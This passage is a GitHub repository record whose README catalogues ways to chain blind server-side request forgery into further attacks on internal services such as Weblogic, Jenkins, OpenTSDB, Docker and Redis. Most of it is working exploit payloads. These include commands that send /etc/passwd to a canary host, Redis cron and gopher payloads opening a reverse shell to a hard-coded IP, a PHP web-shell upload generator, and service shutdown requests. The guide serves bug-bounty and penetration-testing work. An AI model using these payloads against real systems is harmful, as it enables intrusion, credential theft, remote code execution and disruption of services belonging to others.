{"id":13844544,"url":"https://github.com/assetnote/blind-ssrf-chains","last_synced_at":"2026-01-26T18:54:35.877Z","repository":{"id":37533569,"uuid":"329737290","full_name":"assetnote/blind-ssrf-chains","owner":"assetnote","description":"An exhaustive list of all the possible ways you can chain your Blind SSRF vulnerability","archived":false,"fork":false,"pushed_at":"2021-12-31T00:08:33.000Z","size":20,"stargazers_count":820,"open_issues_count":3,"forks_count":112,"subscribers_count":26,"default_branch":"main","last_synced_at":"2025-01-06T06:24:38.014Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/assetnote.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-01-14T21:20:41.000Z","updated_at":"2025-01-05T10:22:32.000Z","dependencies_parsed_at":"2022-07-09T10:00:36.953Z","dependency_job_id":null,"html_url":"https://github.com/assetnote/blind-ssrf-chains","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fblind-ssrf-chains","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fblind-ssrf-chains/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fblind-ssrf-chains/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/assetnote%2Fblind-ssrf-chains/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/assetnote","download_url":"https://codeload.github.com/assetnote/blind-ssrf-chains/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":240427268,"owners_count":19799471,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:44.751Z","updated_at":"2026-01-26T18:54:35.816Z","avatar_url":"https://github.com/assetnote.png","language":null,"funding_links":[],"categories":["Others"],"sub_categories":[],"readme":"# Introduction\n\n## What is Server Side Request Forgery (SSRF)?\n\nServer Side Request Forgery occurs when you can coerce a server to make arbitrary requests on your behalf. As the requests are being made by the server, it may be possible to access internal resources due to where the server is positioned in the network. On cloud environments, SSRF poses a more significant risk due to the presence of [metadata endpoints](https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b) that may contain sensitive credentials or secrets.\n\n## Blind SSRF\n\nWhen exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. In the industry, this behaviour is often referred to as \"Blind SSRF\". In such situations, how do we prove impact? This was an interesting discussion that was sparked by Justin Gardner on Twitter:\n\n\u003cblockquote class=\"twitter-tweet\" data-theme=\"dark\"\u003e\u003cp lang=\"en\" dir=\"ltr\"\u003eI\u0026#39;ve been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE\u0026#39;s have you guys used as pivots for these in the past? I\u0026#39;ve got access to some Kafka and a bunch of other things. \u003ca href=\"https://twitter.com/nnwakelam?ref_src=twsrc%5Etfw\"\u003e@nnwakelam\u003c/a\u003e \u003ca href=\"https://twitter.com/thedawgyg?ref_src=twsrc%5Etfw\"\u003e@thedawgyg\u003c/a\u003e\u003c/p\u003e\u0026mdash; Justin Gardner (@Rhynorater) \u003ca href=\"https://twitter.com/Rhynorater/status/1349290375312154625?ref_src=twsrc%5Etfw\"\u003eJanuary 13, 2021\u003c/a\u003e\u003c/blockquote\u003e\n\nIf you can reach internal resources, there are a number of potential exploit chains that can be executed to prove impact. This blog post attempts to go into detail for each known exploit chain when leveraging blind SSRF, and will be updated as more techniques are discovered and shared.\n\nIf we've missed any techniques, please send us a tweet or a DM: [@assetnote](https://twitter.com/assetnote) and we'll add it to this blog.\n\n## SSRF Canaries\n\n\u003cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-theme=\"dark\"\u003e\u003cp lang=\"en\" dir=\"ltr\"\u003eI tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.\u003c/p\u003e\u0026mdash; Frans Rosén (@fransrosen) \u003ca href=\"https://twitter.com/fransrosen/status/1349397387920502786?ref_src=twsrc%5Etfw\"\u003eJanuary 13, 2021\u003c/a\u003e\u003c/blockquote\u003e \n\nIn order to validate that you can interact with internal services or applications, you can utilise \"SSRF canaries\". \n\nThis is when we can request an internal URL that performs another SSRF and calls out to your canary host. If you receive a request to your canary host, it means that you have successfully hit an internal service that is also capable making outbound requests. \n\nThis is an effective way to verify that an SSRF vulnerability has access to a internal networks or applications, and to also verify the presence of certain software existing on the internal network. You can also potentially pivot to more sensitive parts of an internal network using an SSRF canary, depending on where it sits.\n\n## Using DNS datasources and AltDNS to find internal hosts\n\nWith the goal being to find as many internal hosts as possible, DNS datasources can be utilised to find all records that point to internal hosts. \n\nOn cloud environments, we often see ELBs that are pointing to hosts inside an internal VPC. Depending on which VPC the asset you're targeting is in, it may be possible to access other hosts within the same VPC. \n\nFor example, consider the following host has been discovered from DNS datasources:\n\n```bash\nlivestats.target.com -\u003e internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -\u003e 10.0.0.82\n```\n\nYou can make an assumption that the `es` stands for Elasticsearch, and then perform further attacks on this host. You can also spray all of these blind SSRF payloads across all of the \"internal\" hosts that have been identified through this method. This is often effective.\n\nTo find more internal hosts, I recommend taking all of your DNS data and then using something like [AltDNS](https://github.com/infosec-au/altdns) to generate permutations and then resolve them with a [fast DNS bruteforcer](https://github.com/blechschmidt/massdns).\n\nOnce this is complete, identify all of the newly discovered internal hosts and use them as a part of your blind SSRF chain.\n\n## Side Channel Leaks\n\nWhen exploiting blind SSRF vulnerabilities, you may be able to leak some information about the response being returned. For example, let's say that you have blind SSRF via an XXE, the error messages may indicate whether or not:\n\n- A response was returned \n\n`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`\n\nvs.\n\n- Host and port are unreachable\n\n`Error parsing request: System.Net.WebException: Unable to connect to the remote server`\n\nSimilarly, outside of XXEs, a web application could also have a side channel leak that can be ascertained by inspecting differences within the:\n\n- **Response status code**: \n\nOnline internal asset:port responds with `200 OK` vs offline internal asset:port `500 Internal Server Error`\n\n- **Response contents**: \n\nThe response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable.\n\n- **Response timing**: \n\nThe response times are slower or faster depending on whether or not the URL you are trying to request is reachable.\n\n---------------\n\n# Techniques\n**Possible via HTTP(s)**\n\n- [Elasticsearch](#elasticsearch)\n- [Weblogic](#weblogic)\n- [Hashicorp Consul](#consul)\n- [Shellshock](#shellshock)\n- [Apache Druid](#druid)\n- [Apache Solr](#solr)\n- [PeopleSoft](#peoplesoft)\n- [Apache Struts](#struts)\n- [JBoss](#jboss)\n- [Confluence](#confluence)\n- [Jira](#jira)\n- [Other Atlassian Products](#atlassian-products)\n- [OpenTSDB](#opentsdb)\n- [Jenkins](#jenkins)\n- [Hystrix Dashboard](#hystrix)\n- [W3 Total Cache](#w3)\n- [Docker](#docker)\n- [Gitlab Prometheus Redis Exporter](#redisexporter)\n\n**Possible via Gopher**\n\n- [Redis](#redis)\n- [Memcache](#memcache)\n- [Apache Tomcat](#tomcat)\n- [FastCGI](#fastcgi)\n- [Java RMI](#java-rmi)\n\n**Tools**\n\n- [Gopherus](#gopherus)\n- [remote-method-guesser](#remote-method-guesser)\n- [SSRF Proxy](#ssrfproxy)\n\n----------------------------------\n\n**Possible via HTTP(s)**\n\n\u003cdiv id=\"elasticsearch\"\u003e\u003c/div\u003e\n\n## Elasticsearch\n\n**Commonly bound port: 9200**\n\nWhen Elasticsearch is deployed internally, it usually does not require authentication. \n\nIf you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:\n\n```http\n/_cluster/health\n/_cat/indices\n/_cat/health\n```\n\nIf you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:\n\nNote: the `_shutdown` API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:\n\n```http\n/_shutdown\n/_cluster/nodes/_master/_shutdown\n/_cluster/nodes/_shutdown\n/_cluster/nodes/_all/_shutdown\n```\n\n\u003cdiv id=\"weblogic\"\u003e\u003c/div\u003e\n\n## Weblogic\n\n**Commonly bound ports: 80, 443 (SSL), 7001, 8888**\n\n**SSRF Canary: UDDI Explorer (CVE-2014-4210)**\n\n```http\nPOST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1\nHost: target.com\nContent-Length: 137\nContent-Type: application/x-www-form-urlencoded\n\noperator=http%3A%2F%2FSSRF_CANARY\u0026rdoSearch=name\u0026txtSearchname=test\u0026txtSearchkey=\u0026txtSearchfor=\u0026selfor=Business+location\u0026btnSubmit=Search\n```\n\nThis also works via GET:\n\n```bash\nhttp://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY\u0026rdoSearch=name\u0026txtSearchname=test\u0026txtSearchkey=\u0026txtSearchfor=\u0026selfor=Business+location\u0026btnSubmit=Search\n```\n\nThis endpoint is also vulnerable to CRLF injection:\n\n```\nGET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A\u0026rdoSearch=name\u0026txtSearchname=sdf\u0026txtSearchkey=\u0026txtSearchfor=\u0026selfor=Business+location\u0026btnSubmit=Search HTTP/1.0\nHost: vuln.weblogic\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\nConnection: close\n```\n\nWill result in the following request:\n\n```\nroot@mail:~# nc -lvp 4000\nListening on [0.0.0.0] (family 0, port 4000)\nConnection from example.com 43111 received!\nPOST /exp HTTP/1.11\nX-CLRF: Injected HTTP/1.1\nContent-Type: text/xml; charset=UTF-8\nsoapAction: \"\"\nContent-Length: 418\nUser-Agent: Java1.6.0_24\nHost: attacker.com:4000\nAccept: text/html, image/gif, image/jpeg, */*; q=.2\nConnection: Keep-Alive\n\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?\u003e\u003cenv:Envelope xmlns:soapenc=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\u003e\u003cenv:Header/\u003e\u003cenv:Body\u003e\u003cfind_business generic=\"2.0\" xmlns=\"urn:uddi-org:api_v2\"\u003e\u003cname\u003esdf\u003c/name\u003e\u003c/find_business\u003e\u003c/env:Body\u003e\u003c/env:Envelope\u003e\n```\n\n**SSRF Canary: CVE-2020-14883**\n\nTaken from [here](https://forum.90sec.com/t/topic/1412).\n\nLinux:\n\n```http\nPOST /console/css/%252e%252e%252fconsole.portal HTTP/1.1\nHost: vulnerablehost:7001\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 117\n\n_nfpb=true\u0026_pageLabel=\u0026handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(\"http://SSRF_CANARY/poc.xml\")\n```\n\nWindows:\n\n```http\nPOST /console/css/%252e%252e%252fconsole.portal HTTP/1.1\nHost: vulnerablehost:7001\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 117\n\n_nfpb=true\u0026_pageLabel=\u0026handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext(\"http://SSRF_CANARY/poc.xml\")\n```\n\n\u003cdiv id=\"consul\"\u003e\u003c/div\u003e\n\n## Hashicorp Consul\n\n**Commonly bound ports: 8500, 8501 (SSL)**\n\nWriteup can be found [here](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).\n\n\u003cdiv id=\"shellshock\"\u003e\u003c/div\u003e\n\n## Shellshock\n\n**Commonly bound ports: 80, 443 (SSL), 8080**\n\nIn order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:\n\nShort list of CGI paths to test:\n\n[Gist containing paths](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).\n\n**SSRF Canary: Shellshock via User Agent**\n\n```bash\nUser-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY\n```\n\n\u003cdiv id=\"druid\"\u003e\u003c/div\u003e\n\n## Apache Druid\n\n**Commonly bound ports: 80, 8080, 8888, 8082**\n\nSee the API reference for Apache Druid [here](https://druid.apache.org/docs/latest/operations/api-reference.html).\n\nIf you can view the status code, check the following paths to see if they return a 200 status code:\n\n```bash\n/status/selfDiscovered/status\n/druid/coordinator/v1/leader\n/druid/coordinator/v1/metadata/datasources\n/druid/indexer/v1/taskStatus\n```\n\nShutdown tasks, requires you to guess task IDs or the datasource name:\n\n```bash\n/druid/indexer/v1/task/{taskId}/shutdown\n/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks\n```\n\nShutdown supervisors on Apache Druid Overlords:\n\n```bash\n/druid/indexer/v1/supervisor/terminateAll\n/druid/indexer/v1/supervisor/{supervisorId}/shutdown\n```\n\n\u003cdiv id=\"solr\"\u003e\u003c/div\u003e\n\n## Apache Solr\n\n**Commonly bound port: 8983**\n\n**SSRF Canary: Shards Parameter**\n\n\u003cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-theme=\"dark\"\u003e\u003cp lang=\"en\" dir=\"ltr\"\u003eTo add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.\u003c/p\u003e\u0026mdash; Хавиж Наффи 🥕 (@nnwakelam) \u003ca href=\"https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw\"\u003eJanuary 13, 2021\u003c/a\u003e\u003c/blockquote\u003e\n\nTaken from [here](https://github.com/veracode-research/solr-injection).\n\n```bash\n/search?q=Apple\u0026shards=http://SSRF_CANARY/solr/collection/config%23\u0026stream.body={\"set-property\":{\"xxx\":\"yyy\"}}\n/solr/db/select?q=orange\u0026shards=http://SSRF_CANARY/solr/atom\u0026qt=/select?fl=id,name:author\u0026wt=json\n/xxx?q=aaa%26shards=http://SSRF_CANARY/solr \n/xxx?q=aaa\u0026shards=http://SSRF_CANARY/solr\n```\n\n**SSRF Canary: Solr XXE (2017)**\n\n[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)\n\n```bash\n/solr/gettingstarted/select?q={!xmlparser v='\u003c!DOCTYPE a SYSTEM \"http://SSRF_CANARY/xxx\"'\u003e\u003ca\u003e\u003c/a\u003e'\n/xxx?q={!type=xmlparser v=\"\u003c!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'\u003e\u003ca\u003e\u003c/a\u003e\"}\n```\n\n**RCE via dataImportHandler**\n\n[Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)\n\n\u003cdiv id=\"peoplesoft\"\u003e\u003c/div\u003e\n\n## PeopleSoft\n\n**Commonly bound ports: 80,443 (SSL)**\n\nTaken from this research [here](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).\n\n**SSRF Canary: XXE #1**\n\n```http\nPOST /PSIGW/HttpListeningConnector HTTP/1.1\nHost: website.com\nContent-Type: application/xml\n...\n\n\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE IBRequest [\n\u003c!ENTITY x SYSTEM \"http://SSRF_CANARY\"\u003e\n]\u003e\n\u003cIBRequest\u003e\n   \u003cExternalOperationName\u003e\u0026x;\u003c/ExternalOperationName\u003e\n   \u003cOperationType/\u003e\n   \u003cFrom\u003e\u003cRequestingNode/\u003e\n      \u003cPassword/\u003e\n      \u003cOrigUser/\u003e\n      \u003cOrigNode/\u003e\n      \u003cOrigProcess/\u003e\n      \u003cOrigTimeStamp/\u003e\n   \u003c/From\u003e\n   \u003cTo\u003e\n      \u003cFinalDestination/\u003e\n      \u003cDestinationNode/\u003e\n      \u003cSubChannel/\u003e\n   \u003c/To\u003e\n   \u003cContentSections\u003e\n      \u003cContentSection\u003e\n         \u003cNonRepudiation/\u003e\n         \u003cMessageVersion/\u003e\n         \u003cData\u003e\u003c![CDATA[\u003c?xml version=\"1.0\"?\u003eyour_message_content]]\u003e\n         \u003c/Data\u003e\n      \u003c/ContentSection\u003e\n   \u003c/ContentSections\u003e\n\u003c/IBRequest\u003e\n```\n\n**SSRF Canary: XXE #2**\n\n```http\nPOST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1\nHost: website.com\nContent-Type: application/xml\n...\n\n\u003c!DOCTYPE a PUBLIC \"-//B/A/EN\" \"http://SSRF_CANARY\"\u003e\n```\n\n\u003cdiv id=\"struts\"\u003e\u003c/div\u003e\n\n## Apache Struts\n\n**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**\n\nTaken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).\n\n**SSRF Canary: Struts2-016**:\n\nAppend this to the end of every internal endpoint/URL you know of:\n\n```http\n?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d\"http://SSRF_CANARY/result%3d\".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod(\"GET\"),%23http.connect(),%23http.getInputStream()}\n```\n\n\u003cdiv id=\"jboss\"\u003e\u003c/div\u003e\n\n## JBoss\n\n**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**\n\nTaken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).\n\n**SSRF Canary: Deploy WAR from URL**\n\n```bash\n/jmx-console/HtmlAdaptor?action=invokeOp\u0026name=jboss.system:service=MainDeployer\u0026methodIndex=17\u0026arg0=http://SSRF_CANARY/utils/cmd.war\n```\n\n\u003cdiv id=\"confluence\"\u003e\u003c/div\u003e\n\n## Confluence\n\n**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**\n\n**SSRF Canary: Sharelinks  (Confluence versions released from 2016 November and older)**\n\n```bash\n/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/\n```\n\n**SSRF Canary: iconUriServlet - Confluence \u003c 6.1.3 (CVE-2017-9506)**\n\n[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)\n\n```bash\n/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY\n```\n\n\n\u003cdiv id=\"jira\"\u003e\u003c/div\u003e\n\n## Jira\n\n**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**\n\n**SSRF Canary: iconUriServlet - Jira \u003c 7.3.5 (CVE-2017-9506)**\n\n[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)\n\n```bash\n/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY\n```\n\n**SSRF Canary: makeRequest - Jira \u003c 8.4.0 (CVE-2019-8451)**\n\n[Atlassian Security Ticket JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)\n\n```bash\n/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com\n```\n\n\u003cdiv id=\"atlassian-products\"\u003e\u003c/div\u003e\n\n## Other Atlassian Products\n\n**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**\n\n**SSRF Canary: iconUriServlet (CVE-2017-9506)**:\n- Bamboo \u003c 6.0.0\n- Bitbucket \u003c 4.14.4\n- Crowd \u003c 2.11.2\n- Crucible \u003c 4.3.2\n- Fisheye \u003c 4.3.2\n\n[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)\n\n```bash\n/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY\n```\n\n\u003cdiv id=\"opentsdb\"\u003e\u003c/div\u003e\n\n## OpenTSDB\n\n**Commonly bound port: 4242**\n\n[OpenTSDB Remote Code Execution](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)\n\n**SSRF Canary: curl via RCE**\n\n```bash\n/q?start=2016/04/13-10:21:00\u0026ignore=2\u0026m=sum:jmxdata.cpu\u0026o=\u0026yrange=[0:]\u0026key=out%20right%20top\u0026wxh=1900x770%60curl%20SSRF_CANARY%60\u0026style=linespoint\u0026png\n```\n\n[OpenTSDB 2.4.0 Remote Code Execution](https://github.com/OpenTSDB/opentsdb/issues/2051)\n\n**SSRF Canary: curl via RCE - CVE-2020-35476**\n\n```bash\n/q?start=2000/10/21-00:00:00\u0026end=2020/10/25-15:56:44\u0026m=sum:sys.cpu.nice\u0026o=\u0026ylabel=\u0026xrange=10:10\u0026yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]\u0026wxh=1516x644\u0026style=linespoint\u0026baba=lala\u0026grid=t\u0026json\n```\n\n\u003cdiv id=\"jenkins\"\u003e\u003c/div\u003e\n\n## Jenkins\n\n**Commonly bound ports: 80,443 (SSL),8080,8888**\n\nGreat writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).\n\n**SSRF Canary: CVE-2018-1000600**\n\n```bash\n/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23\u0026login=orange\u0026password=tsai\n```\n\n**RCE**\n\nFollow the instructions here to achieve RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)\n\n```bash\n/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;\n```\n\n**RCE via Groovy**\n\n```\ncmd = 'curl burp_collab'\npay = 'public class x {public x(){\"%s\".execute()}}' % cmd\ndata = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true\u0026value=' + urllib.quote(pay)\n```\n\n\u003cdiv id=\"hystrix\"\u003e\u003c/div\u003e\n\n## Hystrix Dashboard\n\n**Commonly bound ports: 80,443 (SSL),8080**\n\nSpring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.\n\n**SSRF Canary: CVE-2020-5412**\n\n```bash\n/proxy.stream?origin=http://SSRF_CANARY/\n```\n\n\u003cdiv id=\"w3\"\u003e\u003c/div\u003e\n\n## W3 Total Cache\n\n**Commonly bound ports: 80,443 (SSL)**\n\nW3 Total Cache 0.9.2.6-0.9.3\n\n**SSRF Canary: CVE-2019-6715**\n\nThis needs to be a PUT request:\n\n```bash\nPUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\nContent-Length: 124\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\n{\"Type\":\"SubscriptionConfirmation\",\"Message\":\"\",\"SubscribeURL\":\"https://SSRF_CANARY\"}\n```\n\n**SSRF Canary**\n\nThe advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)\n\nThis PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host):\n\n```php\n\u003c?php\n\n$url='http://www.google.com';\n$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');\n$file=chop($file,'=');\n$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';\necho($req);\n\n?\u003e\n```\n\n## Docker\n\n**Commonly bound ports: 2375, 2376 (SSL)**\n\nIf you have a partially blind SSRF, you can use the following paths to verify the presence of Docker's API:\n\n```bash\n/containers/json\n/secrets\n/services\n```\n\n**RCE via running an arbitrary docker image**\n\n```http\nPOST /containers/create?name=test HTTP/1.1\nHost: website.com\nContent-Type: application/json\n...\n\n{\"Image\":\"alpine\", \"Cmd\":[\"/usr/bin/tail\", \"-f\", \"1234\", \"/dev/null\"], \"Binds\": [ \"/:/mnt\" ], \"Privileged\": true}\n```\n\nReplace alpine with an arbitrary image you would like the docker container to run.\n\n## Gitlab Prometheus Redis Exporter\n\n**Commonly bound ports: 9121**\n\nThis vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0. `\n\nThese exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter. \n\nThe following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:\n\n```bash\nhttp://localhost:9121/scrape?target=redis://127.0.0.1:7001\u0026check-keys=*\n```\n\n----------\n\n**Possible via Gopher**\n\n\u003cdiv id=\"redis\"\u003e\u003c/div\u003e\n\n## Redis\n\n**Commonly bound port: 6379**\n\nRecommended reading:\n\n- [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)\n- [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)\n\n**RCE via Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/)\n\n```bash\nredis-cli -h $1 flushall\necho -e \"\\n\\n*/1 * * * * bash -i \u003e\u0026 /dev/tcp/172.19.23.228/2333 0\u003e\u00261\\n\\n\"|redis-cli -h $1 -x set 1\nredis-cli -h $1 config set dir /var/spool/cron/\nredis-cli -h $1 config set dbfilename root\nredis-cli -h $1 save\n```\n\nGopher:\n\n```bash\ngopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i \u003e\u0026 /dev/tcp/172.19.23.228/2333 0\u003e\u00261%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a\n```\n\n**RCE via Shell Upload (PHP)** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)\n\n```python\n#!/usr/bin/env python\n# -*-coding:utf-8-*-\n\nimport urllib\nprotocol=\"gopher://\"\nip=\"192.168.189.208\"\nport=\"6379\" \nshell=\"\\n\\n\u003c?php phpinfo();?\u003e\\n\\n\"\nfilename=\"shell.php\"\npath=\"/var\" \npasswd=\"\"\n\ncmd=[\"flushall\",\n     \"set 1 {}\".format(shell.replace(\" \",\"${IFS}\")),\n     \"config set dir {}\".format(path),\n     \"config set dbfilename {}\".format(filename),\n     \"save\"\n     ]\nif passwd:\n    cmd.insert(0,\"AUTH {}\".format(passwd))\npayload=protocol+ip+\":\"+port+\"/_\"\ndef redis_format(arr):\n    CRLF=\"\\r\\n\"\n    redis_arr = arr.split(\" \")\n    cmd=\"\"\n    cmd+=\"*\"+str(len(redis_arr))\n    for x in redis_arr:\n        cmd+=CRLF+\"$\"+str(len((x.replace(\"${IFS}\",\" \"))))+CRLF+x.replace(\"${IFS}\",\" \")\n    cmd+=CRLF\n    return cmd\n\nif __name__==\"__main__\":\n    for x in cmd:\n        payload += urllib.quote(redis_format(x))\n    print 